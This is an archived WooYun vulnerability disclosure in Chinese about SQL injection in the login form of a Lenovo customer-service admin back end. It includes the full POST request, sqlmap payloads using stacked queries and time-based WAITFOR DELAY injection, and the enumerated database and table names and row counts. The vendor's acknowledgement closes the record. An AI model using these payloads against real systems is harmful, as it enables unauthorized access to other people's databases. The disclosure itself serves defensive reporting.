乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2013-12-20: 细节已通知厂商并且等待厂商处理中 2013-12-22: 厂商已经确认,细节仅向厂商公开 2014-01-01: 细节向核心白帽子及相关领域专家公开 2014-01-11: 细节向普通白帽子公开 2014-01-21: 细节向实习白帽子公开 2014-02-03: 细节向公众公开
联想7#某信息管理后台存在SQL注射导致信息泄露
站点:http://ideaservice.lenovo.com.cn/ts/login.aspx 联想MIDH客服部技术端到端平台信息管理后台 LoginName参数没有过滤,导致注射漏洞
POST http://ideaservice.lenovo.com.cn/ts/login.aspx HTTP/1.1Host: ideaservice.lenovo.com.cnUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:18.0) Gecko/20100101 Firefox/18.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateReferer: http://ideaservice.lenovo.com.cn/ts/login.aspxConnection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 244__VIEWSTATE=%2FwEPDwUJNjk4MTA0ODg0ZGQjzDTIBgYIZMEoAC%2BXVcVLiQIr1w%3D%3D&__EVENTTARGET=&__EVENTARGUMENT=&__EVENTVALIDATION=%2FwEWBAK3i8XBBALM2PtaAsLYi9UKAoznisYG2dv0T95jFAxGW%2FpL7CC%2BymOQ9AM%3D&LoginName=123&LoginPass=123&Button1=%C8%B7%B6%A8
sqlmap跑起来
sqlmap identified the following injection points with a total of 108 HTTP(s) requests:---Place: POSTParameter: LoginName Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries Payload: __VIEWSTATE=/wEPDwUJNjk4MTA0ODg0ZGQjzDTIBgYIZMEoAC+XVcVLiQIr1w==&__EVENTTARGET=&__EVENTARGUMENT=&__EVENTVALIDATION=/wEWBAK3i8XBBALM2PtaAsLYi9UKAoznisYG2dv0T95jFAxGW/pL7CC+ymOQ9AM=&LoginName=123'; WAITFOR DELAY '0:0:5';--&LoginPass=123&Button1=ȷ�� Type: AND/OR time-based blind Title: Microsoft SQL Server/Sybase time-based blind Payload: __VIEWSTATE=/wEPDwUJNjk4MTA0ODg0ZGQjzDTIBgYIZMEoAC+XVcVLiQIr1w==&__EVENTTARGET=&__EVENTARGUMENT=&__EVENTVALIDATION=/wEWBAK3i8XBBALM2PtaAsLYi9UKAoznisYG2dv0T95jFAxGW/pL7CC+ymOQ9AM=&LoginName=123' WAITFOR DELAY '0:0:5'--&LoginPass=123&Button1=ȷ��---sqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: POSTParameter: LoginName Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries Payload: __VIEWSTATE=/wEPDwUJNjk4MTA0ODg0ZGQjzDTIBgYIZMEoAC+XVcVLiQIr1w==&__EVENTTARGET=&__EVENTARGUMENT=&__EVENTVALIDATION=/wEWBAK3i8XBBALM2PtaAsLYi9UKAoznisYG2dv0T95jFAxGW/pL7CC+ymOQ9AM=&LoginName=123'; WAITFOR DELAY '0:0:5';--&LoginPass=123&Button1=ȷ�� Type: AND/OR time-based blind Title: Microsoft SQL Server/Sybase time-based blind Payload: __VIEWSTATE=/wEPDwUJNjk4MTA0ODg0ZGQjzDTIBgYIZMEoAC+XVcVLiQIr1w==&__EVENTTARGET=&__EVENTARGUMENT=&__EVENTVALIDATION=/wEWBAK3i8XBBALM2PtaAsLYi9UKAoznisYG2dv0T95jFAxGW/pL7CC+ymOQ9AM=&LoginName=123' WAITFOR DELAY '0:0:5'--&LoginPass=123&Button1=ȷ��---current user: 'db_ts'current database: 'ts'available databases [13]:[*] [tempdb\x03][*] LeSupportSite[*] LoadTest2010[*] master[*] model[*] msdb[*] ReportServer[*] ReportServerTempDB[*] spadmin[*] sychronkzation3357[*] Test_LeAskAD[*] Test_LeSupportSite[*] tsDatabase: ts[31 tables]+----------------------------+| dbo.T_APP_LOG || dbo.T_ENGINEIR || dbo.T_ENG_LEVEL || dbo.T_ENG_LEVEL_TYPE || dbo.T_NEW_PRODUCT_INFO || dbo.T_PREPARE_JOB_ITEM || dbo.T_PREPARE_REC || dbo.T_PREPARE_REC_DETAIL || dbo.T_PROaUCT_PREPARE || dbo.T_REC || dbo.T_SOFTWARE || dbo.T_SOFTWARE_YEC || dbo.T_SOLUTION || dbo.T_SOLUTION_REC || dbo.T_SURVEY || dbo.T_SURVEY_QUESTION || dbo.T_SURVEY_REPLY || dbo.T_SURVEY_REPLY_DETAIL || dbo.T_SURVEY_TARGET || dbo.T_SYS_USER || dbo.T_TROUBLE_SHOOTING_REC || dbo.T_TROUBLE_SHOOTINH || dbo.T_USER_RIGHTS || dbo.V_NEW_PRODUCT || dbo.V_PRODUCT_PREPARE || dbo.V_SOFTWARE_REC || dbo.V_SOLUTION_RGC || dbo.V_SURVEY_REC || dbo.[T_APK`VERSION] || dbo.[T_MODEL\x03] || dbo.dtproperties |+----------------------------+Database: ts+---------------------------+---------+| Table | Entries |+---------------------------+---------+| dbo.T_PREPARE_REC_DETAIL | 395421 || dbo.T_SOLUTION_REC | 269069 || dbo.T_PREPARE_REC | 137342 || dbo.T_SURVEY_REPLY_DETAIL | 27927 || dbo.T_ENG_LEVEL | 23672 || dbo.T_SURVEY_REPLY | 19036 || dbo.T_SOFTWARE | 501 || dbo.T_SOLUTION | 449 || dbo.T_NEW_PRODUCT_INFO | 89 || dbo.T_REC | 70 || dbo.T_SURVEY_QUESTION | 44 || dbo.T_TROUBLE_SHOOTINH | 41 || dbo.T_SURVEY | 5 || dbo.T_ENGINEIR | 4 || dbo.T_PREPARE_JOB_ITEM | 3 || dbo.T_USER_RIGHTS | 3 |+---------------------------+---------+
over
已经证明
过滤参数
危害等级:高
漏洞Rank:15
确认时间:2013-12-22 19:40
感谢您对联想安全做出的贡献!我们将立即评估与修复相关漏洞
暂无